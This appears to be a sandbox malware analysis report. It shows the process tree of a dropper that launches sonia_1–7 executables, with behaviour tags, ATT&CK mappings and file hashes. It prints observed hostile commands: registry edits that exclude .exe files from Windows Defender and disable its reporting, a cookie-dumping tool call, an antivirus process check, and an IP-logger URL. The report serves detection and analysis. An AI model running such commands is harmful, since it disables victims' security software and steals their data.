- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.exesonia_7.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.exeC:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_6.exesonia_6.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Documents\6eB3jvGJdXHMXfaJLasGTnMA.exe"C:\Users\Admin\Documents\6eB3jvGJdXHMXfaJLasGTnMA.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 5167⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 6447⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 6527⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 8247⤵
- Program crash
-
C:\Users\Admin\Documents\WkRSYWZs_nsk93jztaccZUCL.exe"C:\Users\Admin\Documents\WkRSYWZs_nsk93jztaccZUCL.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\g15YrKjyBR3FHTfv5u1FeAk8.exe"C:\Users\Admin\Documents\g15YrKjyBR3FHTfv5u1FeAk8.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq BullGuardCore.exe"9⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "bullguardcore.exe"9⤵
-
C:\Users\Admin\Documents\RXy_AKwEkuROW9UZ1HulPbEn.exe"C:\Users\Admin\Documents\RXy_AKwEkuROW9UZ1HulPbEn.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 3967⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\uhlz0AYJxqwbsLL3oILLWDoQ.exe"C:\Users\Admin\Documents\uhlz0AYJxqwbsLL3oILLWDoQ.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\hGMMMaWaMSuXdEIvPmtA_Dx8.exe"C:\Users\Admin\Documents\hGMMMaWaMSuXdEIvPmtA_Dx8.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\hGMMMaWaMSuXdEIvPmtA_Dx8.exe"C:\Users\Admin\Documents\hGMMMaWaMSuXdEIvPmtA_Dx8.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\63XbTYk2jGOIgfVjHC15oxUj.exe"C:\Users\Admin\Documents\63XbTYk2jGOIgfVjHC15oxUj.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\XAlGMZl0gKk6VeKSJK6m1iPe.exe"C:\Users\Admin\Documents\XAlGMZl0gKk6VeKSJK6m1iPe.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\ZnHhG3xiQplDoR9vRgEv24rb.exe"C:\Users\Admin\Documents\ZnHhG3xiQplDoR9vRgEv24rb.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Q6BWNpRLfloaqTQIHTQbm_Jx.exe"C:\Users\Admin\Documents\Q6BWNpRLfloaqTQIHTQbm_Jx.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\81LHI.exe"C:\Users\Admin\AppData\Local\Temp\81LHI.exe"7⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\F1M81.exe"C:\Users\Admin\AppData\Local\Temp\F1M81.exe"7⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\K5AC6IG033D7DJI.exehttps://iplogger.org/1OUvJ7⤵
-
C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"C:\Users\Admin\AppData\Local\Temp\K5AC6.exe"7⤵
-
C:\Users\Admin\Documents\wNclYiAFy66INTKGZHTohiha.exe"C:\Users\Admin\Documents\wNclYiAFy66INTKGZHTohiha.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 4607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 4687⤵
- Program crash
-
C:\Users\Admin\Documents\uGGdu1GeiBFoj3m8TIzVNL_t.exe"C:\Users\Admin\Documents\uGGdu1GeiBFoj3m8TIzVNL_t.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 4607⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 4687⤵
- Program crash
-
C:\Users\Admin\Documents\W4kZy33sEanmTeF90IZwtYBD.exe"C:\Users\Admin\Documents\W4kZy33sEanmTeF90IZwtYBD.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS95FA.tmp\Install.exe.\Install.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSBBC2.tmp\Install.exe.\Install.exe /S /site_id "525403"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&10⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_5.exesonia_5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_4.exesonia_4.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_3.exesonia_3.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 19246⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_2.exesonia_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_1.exesonia_1.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft6⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 6007⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3528 -s 5564⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3528 -s 5564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3528 -ip 35281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1972 -ip 19721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2260 -ip 22601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3780 -ip 37801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2372 -ip 23721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3992 -ip 39921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 848 -ip 8481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2372 -ip 23721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 848 -ip 8481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3992 -ip 39921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2372 -ip 23721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2372 -ip 23721⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Modify Registry
2Disabling Security Tools
1Virtualization/Sandbox Evasion
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
71b3d3aff7419f41f7079d6a98dd4b71
SHA146c5002b862f917a6ff36057a8393b5508c05ac0
SHA256696d67be311db74819d6d248c45c2c679bd0cfa8386cc108a108eadfe822d3f5
SHA512da5264913642a39532f9148b2c25c9dae6219ad5bef854081b69a2d049aa1426060dc1f6ac4834317d6e8f61f87e5330656ae4870f53215177e563ee39d2e62f
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
3c70c46b9af8e86608a0f07f739ad1fb
SHA16cccb3e7efa6d30cd5bdb65df467e5fb7eafd10b
SHA25678ad0aeab10e564b9f845a3483a2065b65753b300649081851d3e2d7e610d897
SHA51259a950c6bb2271b2b8bcd0d9e736ce6af4074a097b1658f9cd5c816dc60c6624cf61a37bc18a9f05bf33842300010b535959b1a93315dfe7566ccacfaf59f34a
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
d4592aa96528abc37839ff7aee9b9990
SHA1837ef20e78f27b792eb92fafff2bbd4920f9a190
SHA256edd1b9c4e780771a5c8de590f9bb40fbab1529327a25cf4a48490deb0abea5b6
SHA5122fdfe2fea6c9c46bb0e3f4e1c14c3de9a9831535fe370ca5d418bed4827d2af5efdf02dba70b68e603486f0d4b5f2e5cc82dc36f37143ab42ca43914990016e7
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
f909664af2a7fe1e9bd6b984760abe4e
SHA104dad8b0324604ca254a87f3743ac40301a20d43
SHA256276af96ca5903502d598cfe8d6796da4df621d419c22c307998ef154aa71048d
SHA51285bd2e7dece6891d359a4adbf38f18363253256b71ff65a85270fb6a059f8a2a7c320349cac43f6bc5496437964688d113c351102b674339c612c9187194f356
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurlpp.dllMD5
e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurlpp.dllMD5
e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libgcc_s_dw2-1.dllMD5
9aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libgcc_s_dw2-1.dllMD5
9aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libstdc++-6.dllMD5
5e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libstdc++-6.dllMD5
5e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libwinpthread-1.dllMD5
1e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libwinpthread-1.dllMD5
1e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exeMD5
d8917fdae301f25c1511aec0c7a72e6f
SHA16f0debb02b55d4e6421ae6a285e34cc71566aed0
SHA256bead490ad02c247599354474bde1acc91c1932b88aad1e70948c3193026e904d
SHA5122434fd334f5f24199d8c197643ce02b13172a2beba67451bcc9214efe49176f98583794595d2b1e88d3324bcd1c67c0c7f8356f6c63d3f5d5bf314bd578bc3f4
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exeMD5
d8917fdae301f25c1511aec0c7a72e6f
SHA16f0debb02b55d4e6421ae6a285e34cc71566aed0
SHA256bead490ad02c247599354474bde1acc91c1932b88aad1e70948c3193026e904d
SHA5122434fd334f5f24199d8c197643ce02b13172a2beba67451bcc9214efe49176f98583794595d2b1e88d3324bcd1c67c0c7f8356f6c63d3f5d5bf314bd578bc3f4
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_1.exeMD5
6e487aa1b2d2b9ef05073c11572925f2
SHA1b2b58a554b75029cd8bdf5ffd012611b1bfe430b
SHA25677eec57eba8ad26c2fd97cc4240a13732f301c775e751ee72079f656296d9597
SHA512b7512fcf5dcfbe1c1807d85dfff39bd0cac57adf2696b7129a8c9d70ea7f8249c301a97ecba0f190eb622a216530215585ce6d8d8ce9b112e5728792ecace739
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_1.txtMD5
6e487aa1b2d2b9ef05073c11572925f2
SHA1b2b58a554b75029cd8bdf5ffd012611b1bfe430b
SHA25677eec57eba8ad26c2fd97cc4240a13732f301c775e751ee72079f656296d9597
SHA512b7512fcf5dcfbe1c1807d85dfff39bd0cac57adf2696b7129a8c9d70ea7f8249c301a97ecba0f190eb622a216530215585ce6d8d8ce9b112e5728792ecace739
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_2.exeMD5
d9363214ec716750266ae4e41d005b7a
SHA13c46b892427c8da1abf466d207a3cd0b00e973de
SHA256f6eb9355aa63b1e58076e48d40c3ba7c8b8fcbf602199c2257b42c25cc65583d
SHA5127afae7011cc3e0b1f187f75bf77ffee5479418d3932c834a4711ee32002455ac5a8cd97f7b3c1610741823177e4e3404e416b4fa3a95dd0db45e21007b727808
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_2.txtMD5
d9363214ec716750266ae4e41d005b7a
SHA13c46b892427c8da1abf466d207a3cd0b00e973de
SHA256f6eb9355aa63b1e58076e48d40c3ba7c8b8fcbf602199c2257b42c25cc65583d
SHA5127afae7011cc3e0b1f187f75bf77ffee5479418d3932c834a4711ee32002455ac5a8cd97f7b3c1610741823177e4e3404e416b4fa3a95dd0db45e21007b727808
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_3.exeMD5
70aeaa95451eae52eab8a8056d449711
SHA14f9c76590f9a3d7abacd2dd7a4c2914cd9577cda
SHA256a9a09bd732b217deb85dc53cdcea04b019e15760ac7eda5f5ede85e6181f7588
SHA512501380c4c34906667e6b5757eb601dfe7ebd6f7c36603e08c325e11ebe77b1fada1788a7bcb828f611eccb76609841535218321a8ff427a3f515046953abf033
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_3.txtMD5
70aeaa95451eae52eab8a8056d449711
SHA14f9c76590f9a3d7abacd2dd7a4c2914cd9577cda
SHA256a9a09bd732b217deb85dc53cdcea04b019e15760ac7eda5f5ede85e6181f7588
SHA512501380c4c34906667e6b5757eb601dfe7ebd6f7c36603e08c325e11ebe77b1fada1788a7bcb828f611eccb76609841535218321a8ff427a3f515046953abf033
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_4.exeMD5
5668cb771643274ba2c375ec6403c266
SHA1dd78b03428b99368906fe62fc46aaaf1db07a8b9
SHA256d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89adc384
SHA512135bd12414773cc84270af5225920a01487626528d7bbc2b703be71652265772c2e5488ee3f7e2c53b0b01c617b8c7920e0b457472b6724cfa9ec4c390b0a55a
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_4.txtMD5
5668cb771643274ba2c375ec6403c266
SHA1dd78b03428b99368906fe62fc46aaaf1db07a8b9
SHA256d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89adc384
SHA512135bd12414773cc84270af5225920a01487626528d7bbc2b703be71652265772c2e5488ee3f7e2c53b0b01c617b8c7920e0b457472b6724cfa9ec4c390b0a55a
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_5.exeMD5
6c3e0a1c839e28ca5b7c12695bd50c9d
SHA1f3c2177fabb8dee68cad911a56e221bae930a12f
SHA2562a1feb403763df26a3c2be574e79c8743ecb40d169cfbee3fbcd87fe15baca12
SHA512980940730f8227de7337cd698aa9aa41eb8581dad02ad0e9c3ca0586fc94245e3892ce8d9d84b1d312eebe6576faf0e1872994d32a75e7706589afd68189af53
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_5.txtMD5
6c3e0a1c839e28ca5b7c12695bd50c9d
SHA1f3c2177fabb8dee68cad911a56e221bae930a12f
SHA2562a1feb403763df26a3c2be574e79c8743ecb40d169cfbee3fbcd87fe15baca12
SHA512980940730f8227de7337cd698aa9aa41eb8581dad02ad0e9c3ca0586fc94245e3892ce8d9d84b1d312eebe6576faf0e1872994d32a75e7706589afd68189af53
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_6.exeMD5
987d0f92ed9871031e0061e16e7bbac4
SHA1b69f3badc82b6da0ff311f9dc509bac244464332
SHA256adb98685d3d6a8fa5e90b6fd9d458601d874718d5815f8aab66728ba9d067440
SHA512f4ecf0bd996fd9aab99eba225bed9dbe2af3f8857a32bc9f0eda2c2fe8b468f5f853e68e96c029cf4cfd161409e072777db92a7502b58b541e0057b449f79770
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_6.txtMD5
987d0f92ed9871031e0061e16e7bbac4
SHA1b69f3badc82b6da0ff311f9dc509bac244464332
SHA256adb98685d3d6a8fa5e90b6fd9d458601d874718d5815f8aab66728ba9d067440
SHA512f4ecf0bd996fd9aab99eba225bed9dbe2af3f8857a32bc9f0eda2c2fe8b468f5f853e68e96c029cf4cfd161409e072777db92a7502b58b541e0057b449f79770
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.exeMD5
5632c0cda7da1c5b57aeffeead5c40b7
SHA1533805ba88fbd008457616ae2c3b585c952d3afe
SHA2562b4a3c6d5d62270440c34e1ea75ba2878523eccc4ef85692c0e9497b6f1a8f43
SHA512e86a2c0eb84b41bae94a1d29cc26c069d7ba0da8ed06f26192bd4e601b1c0168b2396734e17f585da531976125178f9a230ef7071cbd616cb070c44bcc16b990
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.exeMD5
5632c0cda7da1c5b57aeffeead5c40b7
SHA1533805ba88fbd008457616ae2c3b585c952d3afe
SHA2562b4a3c6d5d62270440c34e1ea75ba2878523eccc4ef85692c0e9497b6f1a8f43
SHA512e86a2c0eb84b41bae94a1d29cc26c069d7ba0da8ed06f26192bd4e601b1c0168b2396734e17f585da531976125178f9a230ef7071cbd616cb070c44bcc16b990
-
C:\Users\Admin\AppData\Local\Temp\7zS476B981E\sonia_7.txtMD5
5632c0cda7da1c5b57aeffeead5c40b7
SHA1533805ba88fbd008457616ae2c3b585c952d3afe
SHA2562b4a3c6d5d62270440c34e1ea75ba2878523eccc4ef85692c0e9497b6f1a8f43
SHA512e86a2c0eb84b41bae94a1d29cc26c069d7ba0da8ed06f26192bd4e601b1c0168b2396734e17f585da531976125178f9a230ef7071cbd616cb070c44bcc16b990
-
C:\Users\Admin\AppData\Local\Temp\CC4F.tmpMD5
4f3387277ccbd6d1f21ac5c07fe4ca68
SHA1e16506f662dc92023bf82def1d621497c8ab5890
SHA256767a3fc4a7a6818cdc3f0b99aaa95db694f6bcde719d2057a88b3d4df3d74fac
SHA5129da199ac69e3c0d4e0c6307e0ab8178f12cc25cb2f14c3511f6b64e6e60a925c860f3263cb38353a97b55a71ef4d27f8cb7fa3cfc08e7c1a349fd8d209dfa219
-
